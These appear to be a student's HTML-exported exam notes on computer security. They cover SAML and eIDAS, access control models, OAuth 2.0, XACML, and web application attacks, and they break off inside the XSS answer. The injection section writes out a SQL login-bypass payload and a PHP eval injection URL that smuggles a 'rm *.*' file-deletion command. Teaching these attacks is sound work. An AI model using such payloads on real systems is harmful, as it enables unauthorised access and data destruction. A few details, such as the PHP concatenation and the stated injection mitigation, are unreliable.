<strong>Integrity</strong>, then request a <strong>Bilateral authentication</strong> to obtain <strong>Authentication</strong>, using SSL/TLS <strong>Certificates</strong>.</p><p>Every message which pass from an user should be <strong>signed</strong> to provide <strong>Integrity</strong>.</p></blockquote></li><li><p>What are the main privacy concerns underlying the deployment of SAML? What are the main mitigation measures?</p><blockquote><p>SAML should let the user control how it's identity is <strong>shared and used</strong>. </p><p>SAML should <strong>inhibit correlations between Service Providers</strong>.</p><p>To mitigate this, IdP set <strong>pseudonyms</strong> and uses <strong>one time identifiers</strong> so the response won't have the same global identifier.</p></blockquote></li><li><p>What is SPID? What is eIDAS? Is there a relationship between the two?</p><blockquote><p><strong>SPID</strong> is Sistema Pubblico Identità Digitale, the italian adaptation of SAML 2.0, </p><p>it adds one entity: the <strong>Attribute Provider</strong> which gives the Service Provider a <strong>Qualified Attribute</strong> if asked.</p><p><strong>eIDAS</strong> is Electronic Identification Authentication and trust Services, an european regolation that let users authenticate in all Europe.</p><p><strong>eIDAS IdP</strong> can connect with <strong>SPID IdP</strong> using an <strong>eIDAS Connector</strong>(Node) and an <strong>eIDAS Service (Node)</strong>.</p></blockquote></li><li><p>Give an example of scenario in which eIDAS is useful</p><blockquote><p>If i want to open a bank account, i need my identity verified. If i'm italian and i'm trying to open a bank account in france, i need my SPID. Logging with eID National Verification System lets servers get my identity, asking the italian IdP SPID if my Identity is OK. This works by eIDAS-Connector France, which ask to eIDAS-Service in italy to give my information to the bank.</p></blockquote></li></ul><h4><a name='header-n688' class='md-header-anchor '></a>Access control I</h4><ul><li><p>Define the concept of “Access Control”, draw the architecture for its enforcement, explain the role of each component in the architecture and how an access control request is handled</p><blockquote><p>Access Control is the act to <strong>mediate requests</strong> from subject to resources and check if the access is <strong>Granted or Denied</strong>.</p><p>His architecture is composed of:</p><ul><li><p><strong>Subject</strong>(Actor): The one who performs a request</p></li><li><p><strong>Request</strong>: Access Request</p></li><li><p><strong>ACM</strong>: Access Control Module, which is composed of:</p><ul><li><strong>Guard</strong>: It receives an Access Request, then it checks with <strong>Policies</strong> if it's granted or denied (Policy Decision Point), then it write the output to the <strong>Audit Log</strong> and send the response(and grant access if granted) to the subject.</li><li><strong>Policy:</strong> all the policies, set of rules which are used to determine the access to a resource.</li><li><strong>Audit Log</strong>: Logs of all the requests and their status.</li></ul></li></ul><p>It's important to say we have <strong>two isolation boundaries:</strong></p><ul><li>One outside <strong>ACM</strong>, that doesn't permit the user to get inside, he can only talk with the Guard.</li><li>One outside <strong>Audit Log</strong>, because logs shouldn't be edited by no one, only added by the guard.</li></ul><p>The guard <strong>authenticate the client</strong> and <strong>authorize him/her</strong> with <strong>policies</strong>, giving the <strong>resource if accepted</strong>. For every request, guard will <strong>keep an Audit Log</strong>, to post analysis if necessary.</p><p><em>Draw this ^</em> </p><p><img src='https://imbt.ga/qGe7r6CbUs' alt='img' referrerPolicy='no-referrer' /></p><p>Access control can be seen as a <strong>structured approach</strong>:</p><ul><li><strong>Policy</strong>: Set of rules</li><li><strong>Model</strong>: Mathematic representation of the policy (how it works)</li><li><strong>Enforcement</strong>: Implementation of the Model (a logically correct model could lead to a vulnerable implementation, for example leading to a SMASH THE STACK issue)</li></ul><p>this helps to understand a policy and to find bugs easier.</p></blockquote></li><li><p>What is an Access Control Matrix? How can ACLs and Capabilities represent it? Describe the environments where they are typically used, their advantages and disadvantages with the consequences</p><blockquote><p>An Access Control Matrix is a <strong>basic model</strong> to implement Access Control.</p><p>It's a matrix with <strong>subject as rows and resource as columns</strong>. The combination cell is the permission of the subject for the requested resource.</p><p>The permission can be:</p><ul><li><strong>O</strong>: Own</li><li><strong>R:</strong> Read</li><li><strong>W:</strong> Write</li><li><strong>X:</strong> Execute</li></ul><p> </p><p><strong>ACL</strong>(Access Control List) is an <strong>enforcement</strong> of the ACMatrix. It represent the matrix with a List uses the <strong>resource as a pointer</strong>, and each pointer leads to all the subject with their <strong>relative permissions for that resource.</strong></p><p>ACL is tipically used integrated in the <strong>file system</strong>. It's easier to represent them with groups when we have a bigger user base, it's easier for the guard to obtain the policies (guard can check the file and check the subject permissions). ACL can lead to a bigger file if there's a lot of users that have permissions on it.</p><p> ACLs are widely used in environments where the users manage the security of their own files such as Unix systems. Their advantages are the following:</p><ul><li>they are easy to understand, </li><li>it is easy to answer questions as “who has access to a resource and what is the type of access?”, </li><li>they work well in distributed systems. </li></ul><p>The main <strong>disadvantage</strong> is their inefficiency when determining rights if the list is long. </p><p><strong>Capabilities</strong> is an <strong>enforcement</strong> of the ACMatrix. It represent the matrix with a List uses the <strong>subject as a pointer</strong>, and each pointer leads to all the resources with their <strong>relative permissions</strong> <strong>for that subject</strong>.</p><p>The main problem with capability lists is that <strong>changing the status of a resource can be difficult because it can be hard to find out which users have permission to access the resource</strong>. </p><p>For example, changing a program’s status so that no user may execute it can be difficult because it can be hard to find out which users have permission to execute the program.</p></blockquote></li><li><p>Define the notions of DAC and MAC models; explain differences, advantages and disadvantages of each one. Give at least one example of the scenarios in which each one is typically used</p><blockquote><p><strong>DAC</strong>: Discretionary Access Control </p><p>The permission of the resource is set by the owner of the resource. He decides what to do, how to set (Read,Write,Execute).</p><p>If we have lots of users, we can use <strong>groups and ACL</strong>.</p><p><strong>Typically used in OS.</strong></p><ul><li><p>Advantages: </p><ul><li><strong>Flexible</strong>: Easy to understand and edit permissions. </li><li><strong>Intuitive</strong></li></ul></li><li><p>Disadvantages:</p><ul><li><strong>Subjective</strong>: The owner decides who can <strong>RWX</strong>.</li><li>The security is related to the <strong>owner's skills.</strong></li><li><strong>Vulnerable to Trojans</strong>: A can send a Trojan to B and make B changes the permissions.</li></ul></li></ul><p><strong>MAC</strong>: Mandatory Access Control</p><p><strong>Used in the military,</strong> it has <strong>Multi Level Security</strong> and it uses <strong>Clearances</strong>(If referred to a subject) and <strong>Security Label</strong> (if referred to a resource).</p><p>Generally speaking we have Security Levels:</p><ul><li>Top Secret</li><li>Secret</li><li>Confidential</li><li>Unclassified</li></ul><p>Each level represents a <strong>Trustworthiness Level(Clearances)</strong> or the <strong>Sensitivity Level (Security Label)</strong> of the information. </p><p>They are set in an ordinate Hierarchical set of trust:</p><p>Top Secret <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-111-Frame" tabindex="-1" style="font-size: 100%; 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xlink:href="#E116-MJMATHI-4B" x="12491" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E116-MJMATHI-6E" x="13380" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E116-MJMATHI-6F" x="13980" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E116-MJMATHI-77" x="14465" y="0"></use></g></g></svg></span><script type="math/tex" id="MathJax-Element-116">(SClearance,SNeedToKnow)<=(RSecurityLevel,RNeedToKnow)\\SNeedToKnow\subseteq RNeedToKnow</script></p><p><em>This is needed because someone could declassify informations.</em></p></li><li><p><strong>Tranquillity principle:</strong> Nobody can arbitrary change the <strong>Security Level</strong></p></li></ul><p>Bell-La Padula Model gives <strong>Confidentiality</strong>.</p><p>If we use <strong>Biba Model</strong>, we get <strong>Integrity</strong>:(the opposite of the Bell-La Padula model)</p><ul><li><strong>No Read Down</strong>: We don't want important documents to be influenced by less-important documents.</li><li><strong>No Write Up</strong>: We don't want someone to break integrity of important informations.</li></ul><p><strong>Advantages:</strong></p><ul><li><strong>Not vulnerable to trojans</strong></li><li><strong>All under control</strong></li></ul><p><strong>Disadvantages</strong>:</p><ul><li><p><strong>No flexibility.</strong></p></li><li><p>Information <strong>Leakages</strong>:
<strong>Covert Channel in Bell La Padula</strong>: A covert channel is when a resource (that is not meant to be a channel of communication) is used as a channel for communication. </p><p>In Bell- La Padula model, a lower clearance user can create a <strong>dummy.obj</strong>, then the <strong>higher clearance</strong> user changes the permission of the file. The <strong>lower clearance user</strong> ask to read the file. If he can't, he got a bit of information. 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requester.</strong> (someone or something that is creating a request)</p><p>An <strong>user/principal is a human being</strong> that is making a request.</p></blockquote></li><li><p>What is RBAC? How does it simplify administration? Define the notion of <em>User-Role assignment</em> and <em>Role-Permission assignment</em>. Define also the notion of <em>role hierarchy</em> together with the mathematical properties it should satisfy. Given UA, PA and RH express the condition under which user u has permission p</p><blockquote><p>RBAC is <strong>Role Based Access Control</strong>.</p><p>RBAC is a combination of:</p><ul><li><p><strong>Users</strong>: Subject requesting something</p></li><li><p><strong>Roles</strong>: set of permissions</p></li><li><p><strong>Sessions</strong>: One or more Roles, given by context(To support the Principle of the Least Priviledge). </p><p>A session can have only one user. A user can have more than one session.</p></li><li><p><strong>Permissions</strong></p><ul><li>Operations</li><li>Object/Resource</li></ul></li><li><p><strong>User-Assignment:</strong> Each user can have one or multiple roles, Each role is assigned to one or more users.</p></li><li><p><strong>Role-Hierarchy</strong>: Each role can have a sub-role. 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type="math/tex" id="MathJax-Element-119">=</script> (sub-role,role) <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-118-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="5.606ex" height="1.68ex" viewBox="0 -610.5 2413.6 723.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E118-MJMAIN-27FA" d="M1438 514Q1438 525 1454 525Q1459 525 1462 525T1467 525T1471 524T1473 523T1475 520T1477 517T1480 512Q1517 438 1578 381T1689 300T1785 263Q1802 258 1802 250T1793 239T1756 228T1698 204Q1554 134 1480 -12Q1476 -21 1473 -22T1458 -24Q1438 -24 1438 -17Q1438 -13 1443 0Q1478 69 1529 123L1539 133H318L328 123Q379 69 414 0Q419 -13 419 -17Q419 -24 399 -24Q388 -24 385 -23T377 -12Q332 77 253 144T72 237Q62 240 59 242T56 250T59 257T70 262T89 268T119 278T160 296Q303 366 377 512Q382 522 385 523T401 525Q419 524 419 515Q419 510 414 500Q379 431 328 377L318 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This prevents <strong>Fraud</strong>.</p><p>It simplifies administration by creating roles: set of permissions that could be given to multple user, leading to a easy to understand and easy to manage situation.</p></blockquote></li><li><p>Explain the Principle of Least Privilege</p><blockquote><p>The Principle of the Least Priviledge says that a subject have to know the minimum amount of information to fullify his request.</p></blockquote></li><li><p>Explain the concept of “Confused deputy” and give a concrete scenario of this attack</p><blockquote><p>The Confused Deputy Attack is a priviledge escalation attack which consist in obtaining (R/W/X) access to a resource without having direct access on it. Basically using another user that can access a resource to obtain or write data on the resource.</p><ul><li>A doesn't have access to the Resource F.</li><li>A have access to <strong>execute</strong> the Compiler.</li><li>The Compiler is <strong>OS priviledged</strong>, so it can <strong>RWX</strong> the resource <strong>F</strong></li><li>A compiles a file and sets the destination of the resource to the <strong>F</strong> path.</li><li>A has now modified/overwritten F without having direct access to it.</li></ul></blockquote></li><li><p>What is a trojan?</p><blockquote><p>A trojan is a malware which <strong>hides the true malevolous intentions</strong> and runs like a safe/normal executable.</p><p>(<em>Trojan Horse</em>)</p></blockquote></li><li><p>What is a covert channel? How can a covert channel be created in MAC?</p><blockquote><p><strong>Covert Channel in Bell La Padula</strong>: A covert channel is when a resource (that is not meant to be a channel of communication) is used as a channel for communication. </p><p>In Bell- La Padula model, a lower clearance user can create a <strong>dummy.obj</strong>, then the <strong>higher clearance</strong> user changes the permission of the file. The <strong>lower clearance user</strong> ask to read the file. If he can't, he got a bit of information. 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Describe also which entities are involved</p><blockquote><p>Oauth 2.0 is a <strong>delegation protocol</strong> that let users allow applications to <strong>access resources on their behalf.</strong></p><p>Oauth was created to avoid the bad practice of giving full access to a third part service by sharing your credentials.</p><p>It's important to say that:</p><ul><li><strong>OAUTH</strong> is an <strong>Authorization</strong> protocol, it's <strong>NOT</strong> an Authentication protocol, although is possible to authenticate with OpenID Connect.</li><li>OAUTH is <strong>more than one protocol</strong> togheter.</li><li>The Token format is chosen by Resource Server and Authorization Server, usually they use JWT(Json Web Token).</li><li>It relies mainly on <strong>HTTP and TLS</strong> for security.</li></ul><p>The entities involved are:</p><ul><li><p><strong>Resource Owner</strong>: The owner of the resource.</p></li><li><p><strong>Protected Resource</strong>(usually in Resource Server): The resource which client tries to get.</p></li><li><p><strong>Authorization</strong>(and not Authentication) Server: Server that generates OAUTH Token</p></li><li><p><strong>Client</strong>(Third Party App): Third party app that is trying to use the resource and ask on behalf of the resource owner</p></li><li><p><strong>Oauth TOKEN</strong>: </p><ul><li>A key to access specifically some resources;</li><li>Generated by Authorization Server;</li><li>Opaque for the client, he doesn't know what does it mean;</li><li>Clear for the Authorization Server and Resource Server.</li></ul></li></ul></blockquote></li><li><p>Show the main Authorization code flow supported by OAuth 2.0 and say which kind of protocols is used for the communications among the various entities involved</p><blockquote><p>Oauth Main flow:</p><ol start='' ><li><strong>Client ask for Authorization</strong> to the <strong>Resource Owner</strong>, redirecting him/her to the <strong>Authorization Server.</strong></li><li><strong>Resource Owner insert his/her credentials</strong> and authenticate to the <strong>Authorization Server</strong></li><li><strong>The Authorization Server ask for Resource Owner permissions</strong>, showing what the app wants to use.</li><li>The Resource Owner confirms, then the <strong>Authorization Server gives to the Resource Owner</strong> an <strong>Authorization Code.</strong></li><li>The Resource Owner gives the <strong>Authorization Code to the Client.</strong></li><li>The <strong>Client</strong> uses its credentials to <strong>authenticate to the Authorization Server</strong>, along with <strong>Authorization Code.</strong></li><li><strong>Authorization Server gives OAUTH Token</strong> to the <strong>Client</strong>.</li><li>The <strong>Client</strong> connects to the <strong>Resource Server and ask for the resource</strong>, giving the <strong>OAUTH Token.</strong></li><li>If the OAUTH Token is good(<strong>not expired or not revoked</strong>), then <strong>Resource Server gives the Resource to the Client.</strong></li></ol><p>The entities involved are:</p><ul><li><p><strong>Resource Owner</strong>: The owner of the resource.</p></li><li><p><strong>Protected Resource</strong>(usually in Resource Server): The resource which client tries to get.</p></li><li><p><strong>Authorization</strong>(and not Authentication) Server: Server that generates OAUTH Token</p></li><li><p><strong>Client</strong>(Third Party App): Third party app that is trying to use the resource and ask on behalf of the resource owner</p></li><li><p><strong>Oauth TOKEN</strong>: </p><ul><li>A key to access specifically some resources;</li><li>Generated by Authorization Server;</li><li>Opaque for the client, he doesn't know what does it mean;</li><li>Clear for the Authorization Server and Resource Server.</li></ul></li></ul><p> </p><p>It relies mainly on <strong>HTTP and TLS</strong> for security.</p></blockquote></li><li><p>What is an OAuth token? Is it opaque for which entity involved in OAuth?</p><blockquote><p>The entities involved are:</p><ul><li><p><strong>Resource Owner</strong>: The owner of the resource.</p></li><li><p><strong>Protected Resource</strong>(usually in Resource Server): The resource which client tries to get.</p></li><li><p><strong>Authorization</strong>(and not Authentication) Server: Server that generates OAUTH Token</p></li><li><p><strong>Client</strong>(Third Party App): Third party app that is trying to use the resource and ask on behalf of the resource owner</p></li><li><p><strong>Oauth TOKEN</strong>: </p><ul><li>A key to access specifically some resources;</li><li>Generated by Authorization Server;</li><li>Opaque for the client, he doesn't know what does it mean;</li><li>Clear for the Authorization Server and Resource Server.</li></ul></li></ul></blockquote></li><li><p>Explain what is ABAC and an ABAC policy. What are the advantages of ABAC over RBAC?</p><blockquote><p>ABAC is Attribute Based Access Control.</p><p>ABAC is a model where controls uses 3 types of attributes:</p><ul><li><p><strong>Users Attributes</strong></p><ul><li>Attributes belonging to the User who is making the request.</li></ul></li><li><p><strong>Resources Attributes</strong></p><ul><li>Attributes belonging to the Request needed.</li></ul></li><li><p><strong>Environment Attributes</strong></p><ul><li>Attributes which are not User Attributes and Resource Attributes, describing a particular condition of the Enviroment(Like Geolocation or Time)</li></ul></li></ul><p>ABAC is composed of:</p><ul><li><p><strong>Subject</strong></p></li><li><p><strong>Access Control Mechanism</strong></p><ul><li><p><strong>Access Control Policy</strong>: Set of rules that uses Attributes(Subject,Resource and Enviroment ones) to check how a resource is protected under certain conditions.</p><ul><li><strong>Subject Attributes</strong></li></ul></li><li><p><strong>Object/Resource Attributes</strong></p></li><li><p><strong>Enviroment Conditions</strong></p></li></ul></li><li><p><strong>Object/Resource</strong></p></li></ul><p>User ask for a Resource, using Attributes ACPolicy checks if he can have the resource.</p><p>While RBAC is <strong>coarse-grain</strong> AC, ABAC is <strong>granular-grain</strong> AC:</p><ul><li>RBAC: Teachers can access Google</li><li>ABAC: Teachers can access Google if in class using school computers, only in school hours.</li></ul></blockquote></li><li><p>Define <em>XACML</em> and what is a XACML target, effect, condition, rule policy, policy set. What are XACML policy combining algorithms?</p><blockquote><p>XACML stands for <strong>eXtensible Access Control Markup Language</strong> and it's a language implementation of <strong>ABAC</strong>.</p><p>XACML uses XML.</p><p>XACML Policies structured like this: <em>(to answer this question, choose the appropriate ones)</em></p><ul><li><p><strong>PolicySet</strong>: a set of policies</p><ul><li><p><strong>Target</strong>: Defines the condition that determine whether a policy applies to the request, it defines a Boolean Condition <code>True</code>or <code>False</code></p></li><li><p><strong>Policy</strong>: Set of rules</p><ul><li><p><strong>Target</strong>;</p></li><li><p><strong>Rules</strong>:</p><ul><li><strong>Target</strong>;</li><li><strong>Effect</strong>: Returns <code>Permit</code> or <code>Deny</code>, it's the effect that the rule will have.</li><li><strong>Conditions</strong>: A Rule is Satisfied if it follows the conditions(if they evaluate all <code>True</code>)</li></ul></li></ul><hr /><p>It uses a <em>Rule Combining Algorithm:</em> </p><p>A <strong>rule combining algorithm</strong> is an algorithm that combines rule by their evaluation using certain criteria, setting the policy to <code>True</code> or <code>False</code>.</p><ul><li><strong>Deny Overrides</strong>: <strong>AND</strong> of all rules</li><li><strong>Accept Overrides</strong>: <strong>OR</strong> of all rules</li><li><strong>First Applicable</strong>: Check the first applicable</li><li><strong>Only One Applicable</strong>: If there are more than one applicable, it's indeterminate.</li></ul><hr /></li><li><p><strong>PolicySet</strong></p></li></ul></li></ul></blockquote></li><li><p>Draw and describe the XACML architecture and explain the difference between Policy Enforcement Point (PEP) and Policy Decision Point (PDP)</p><blockquote><p><strong>XACML Architecture</strong> is composed of:</p><ul><li><p><strong>Subject</strong></p></li><li><p><strong>Access Control Mechanism</strong></p><ul><li><strong>PEP: Policy Enforcement Point,</strong> it's the mechanism which provides the protection of the resource. This mechanism <strong>enforce the Access Control.</strong></li><li><strong>PDP: Policy Decision Point</strong>, this mechanism checks if the policySet is Permit or Deny, using Rules Combining Algorithm. It gets the Attributes from PIP and the policy to follow from PRP. </li><li><strong>PIP: Policy Information Point,</strong> keeps all the Attributes for the request which is going to be processated.</li><li><strong>PRP: Policy Retrieval Point,</strong> a policy Repository Retrieval.</li><li><strong>PAP: Policy Administration Point,</strong> creates new policy and set them into the Policy Repository (PRP)</li></ul></li><li><p><strong>Object/Resource</strong></p></li></ul><p><strong>XACML Flow</strong> is:</p><ol start='' ><li>An user ask for a resource. This goes through ACMechanism, specifically to the PEP.</li><li>PEP, using XACML, ask to the PDP if the request Permit or Deny.</li><li>PEP checks using PIP and PRP if it follows the policies, evaluating all the rules with Rules Combining Algorithm.</li><li>If Permit, returns permit, if Deny Returns Deny.</li></ol><p><em>Draw this ^</em></p><p><img src='https://imbt.ga/BhFMMC15tS' alt='Architecture' referrerPolicy='no-referrer' /></p></blockquote></li></ul><h4><a name='header-n1152' class='md-header-anchor '></a>Web application security</h4><ul><li><p>Define "web application security"</p><blockquote><p><strong>Web App Security</strong> is a branch of <strong>Information Security</strong> concerning the security of:</p><ul><li><strong>WebSites;</strong></li><li><strong>Web App;</strong></li><li><strong>Web Services</strong>.</li></ul></blockquote></li><li><p>Define "Application Security"</p><blockquote><p><strong>Application Security</strong> encompasses measures t<strong>aken to improve the security</strong> of an <strong>application</strong> by:</p><ul><li><strong>Finding</strong></li><li><strong>Fixing</strong></li><li><strong>Preventing</strong></li></ul><p>security <strong>vulnerabilities</strong>.</p></blockquote></li><li><p>For which kind of security threats found in web applications, TLS is not an adequate countermeasure?</p><blockquote><p>TLS is <strong>not</strong> <strong>adequate for Malware Attacks and Web Attacks.</strong> It sustain a nice amount of attacks in the Network Attack scenario(like MITM), but in a Malware Attack the end device is infected and in the Web Attack the Server Device is infected, so TLS can't properly protect the user.</p></blockquote></li><li><p>Which kind of attackers threaten web applications?</p><blockquote><p>The attackers that can hit web applications are:</p><ul><li>Malware Attacks (on end device)</li><li>Network Attacks (MITM and so on)</li><li>Web Attacks (Poisonous website)</li></ul></blockquote></li><li><p>What is an injection attacks? Give at least two examples and the main mitigation measures</p><blockquote><p>An <strong>injection attack</strong> is a <strong>remote code execution</strong> type of attack.</p><p>Two main examples are:</p><ul><li><p><strong>SQL Injection</strong>:</p><p>This vulnerabilities executes SQL while evaluating the query.</p><p>Suppose we have </p><p><code>SELECT * FROM USER WHERE username='admin' and password="$_GET['pass']";</code></p><p>in the password input form we are going to type:</p><p><code>" OR 1=1;--</code></p><p>This will become</p><p><code>SELECT * FROM USER WHERE username='admin' and password="" OR 1=1;--;</code></p><p>Evaluating to <code>TRUE</code>, logging as an admin.</p></li></ul><p> </p><p> A possible mitigation is using <strong>prepared statement and sanitizing the Input before executing(escaping characters, removing 'OR',...)</strong></p><ul><li><p><strong>PHP Eval Injection:</strong></p><p>This vulnerabilities uses the <code>eval()</code> function in PHP, which evaluates PHP code.</p><p>Having a simple calculator that uses <code>eval()</code>:</p><pre spellcheck="false" class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" lang="php+HTML"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="php+html"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 38px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 26px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>4</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -26px; width: 26px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 18px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-meta"><?php</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 18px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable-2">$in</span><span class="cm-operator">=</span><span class="cm-variable-2">$_GET</span>[<span class="cm-string">'calc'</span>];</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 18px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">eval</span>(<span class="cm-string">'$result= '</span><span class="cm-operator">+</span><span class="cm-variable-2">$in</span><span class="cm-operator">+</span><span class="cm-string">';'</span>);</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 18px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-meta">?></span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 88px;"></div><div class="CodeMirror-gutters" style="height: 88px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 26px;"></div></div></div></div></pre><p>and a website <code>http://site.com/calc=10+1</code></p><p>We can exploit this like that:</p><p><code>http://site.com/calc=10+1;system("rm *.*")</code></p><p>this will execute:</p><pre spellcheck="false" class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" lang="php+HTML"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="php+html"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 38px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 26px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>4</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -26px; width: 26px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 18px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-meta"><?php</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 18px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable-2">$in</span><span class="cm-operator">=</span><span class="cm-variable-2">$_GET</span>[<span class="cm-string">'calc'</span>]; <span class="cm-comment">//10+1;system("rm *.*")</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 18px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">eval</span>(<span class="cm-string">'$result= '</span><span class="cm-operator">+</span><span class="cm-variable-2">$in</span><span class="cm-operator">+</span><span class="cm-string">';'</span>); <span class="cm-comment">//eval ($result = 10+1;system("rm *.*"););</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 18px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-meta">?></span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 88px;"></div><div class="CodeMirror-gutters" style="height: 88px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 26px;"></div></div></div></div></pre></li></ul><p>The main mitigation for both scenario is using a <strong>strong Access Control Policy.</strong></p></blockquote></li><li><p>What is a CSRF attack? Give an high level description of how to mount it and the main mitigation measures</p><blockquote><p>A CSRF Attack is a <strong>Cross Site Request Forgery</strong> attack.</p><p>Suppose we have site <code>bank.com</code>, this site uses a simple form POST to send money from one to another.</p><p>After loggin in, i visit(using another tab), <code>sitosicuro.biz</code>.</p><p><code>sitosicuro.biz</code>, using background JS(AJAX), as soon as i visit the webpage is sending a post request to <code>bank.com</code> to pay <code>Mario Rossi</code> with <code>100k</code>.</p><p>The browser, using JS and my authentication cookie, will send the request and the website will transfer money from my account to Mario Rossi account, without even noticing.</p><p> </p><p>A <strong>possibile mitigation</strong> is inserting a one-time token in the FORM POST request in the <code>bank.com</code> site. </p><p>This eludes Same Origin Policy because it won't read data, it's sending data from another website.</p></blockquote></li><li><p>What is an XSS attack? How it's related to the Same Origin Policy? Give an high level description of how to mount it and the main mitigation measures</p><blockquote><p>An XSS attack is a Cross Site Scripting Attack. </p><p>Suppose we have <code>site.com/search.php?q=</code>. This website, whatever i type in to search, is going to write: </p><pre spellcheck="false" class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" lang="php"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="php"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 38px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 26px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>3</div></div></div><div class="CodeMirror-measure"></div><div style="position: 